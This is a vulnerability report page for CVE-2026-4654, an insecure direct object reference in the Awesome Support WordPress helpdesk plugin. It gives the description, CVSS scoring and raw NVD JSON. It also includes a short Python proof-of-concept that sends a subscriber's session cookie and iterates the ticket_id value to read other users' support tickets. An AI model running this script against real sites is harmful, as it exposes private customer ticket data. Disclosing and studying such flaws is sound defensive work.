Security Vulnerability Report
中文
CVE-2026-4654 CVSS 5.3 MEDIUM

CVE-2026-4654

Published: 2026-04-08 08:16:24
Last Modified: 2026-04-24 18:15:29

Description

The Awesome Support – WordPress HelpDesk & Support Plugin plugin for WordPress is vulnerable to Insecure Direct Object Reference in versions up to, and including, 6.3.7. This is due to the wpas_get_ticket_replies_ajax() function failing to verify whether the authenticated user has permission to view the specific ticket being requested. This makes it possible for authenticated attackers, with subscriber-level access and above, to access sensitive information from all support tickets in the system by manipulating the ticket_id parameter.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Awesome Support – WordPress HelpDesk & Support Plugin <= 6.3.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target configuration target_url = "https://example.com/wp-admin/admin-ajax.php" # Attacker's cookies (obtained after logging in as a Subscriber) attacker_cookies = { "wordpress_logged_in_xxxxx": "your_session_cookie_here" } # The vulnerable action and a target ticket ID to steal payload = { "action": "wpas_get_ticket_replies", "ticket_id": "1234" # Try changing this ID to access other tickets } try: response = requests.post(target_url, data=payload, cookies=attacker_cookies) if response.status_code == 200: print("[+] Request successful. Response content:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-4654", "sourceIdentifier": "[email protected]", "published": "2026-04-08T08:16:24.237", "lastModified": "2026-04-24T18:15:28.940", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Awesome Support – WordPress HelpDesk & Support Plugin plugin for WordPress is vulnerable to Insecure Direct Object Reference in versions up to, and including, 6.3.7. This is due to the wpas_get_ticket_replies_ajax() function failing to verify whether the authenticated user has permission to view the specific ticket being requested. This makes it possible for authenticated attackers, with subscriber-level access and above, to access sensitive information from all support tickets in the system by manipulating the ticket_id parameter."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/awesome-support/tags/6.3.7/includes/functions-post.php#L1823", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/awesome-support/tags/6.3.7/includes/functions-post.php#L1851", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/awesome-support/trunk/includes/functions-post.php#L1823", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/awesome-support/trunk/includes/functions-post.php#L1851", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3497662%40awesome-support&new=3497662%40awesome-support&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/9f9015fa-b3f0-4312-8acd-02b715e26f33?source=cve", "source": "[email protected]"}]}}